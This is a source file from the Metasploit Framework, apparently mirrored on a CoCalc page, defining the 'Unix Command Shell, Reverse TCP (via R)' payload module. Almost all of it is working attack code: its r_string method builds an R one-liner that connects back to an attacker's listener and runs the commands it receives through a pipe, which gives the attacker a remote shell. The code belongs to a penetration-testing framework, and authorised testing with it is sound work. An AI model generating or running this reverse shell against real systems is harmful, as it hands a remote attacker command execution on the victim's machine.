CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_r.rb
Views: 11779
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 157
10
11
include Msf::Payload::Single
12
include Msf::Payload::R
13
include Msf::Sessions::CommandShellOptions
14
15
def initialize(info = {})
16
super(merge_info(info,
17
'Name' => 'Unix Command Shell, Reverse TCP (via R)',
18
'Description' => 'Connect back and create a command shell via R',
19
'Author' => [ 'RageLtMan <rageltman[at]sempervictus>' ],
20
'License' => MSF_LICENSE,
21
'Platform' => 'unix',
22
'Arch' => ARCH_CMD,
23
'Handler' => Msf::Handler::ReverseTcp,
24
'Session' => Msf::Sessions::CommandShell,
25
'PayloadType' => 'cmd',
26
'RequiredCmd' => 'R',
27
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
28
))
29
register_advanced_options(
30
[
31
OptString.new('RPath', [true, 'The path to the R executable', 'R'])
32
]
33
)
34
end
35
36
def generate(_opts = {})
37
return prepends(r_string)
38
end
39
40
def prepends(r_string)
41
return "#{datastore['RPath']} -e \"#{r_string}\""
42
end
43
44
def r_string
45
lhost = datastore['LHOST']
46
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
47
return "s<-socketConnection(host='#{lhost}',port=#{datastore['LPORT']}," +
48
"blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" +
49
"(pipe(readLines(s, 1))),s)}"
50
end
51
end
52
53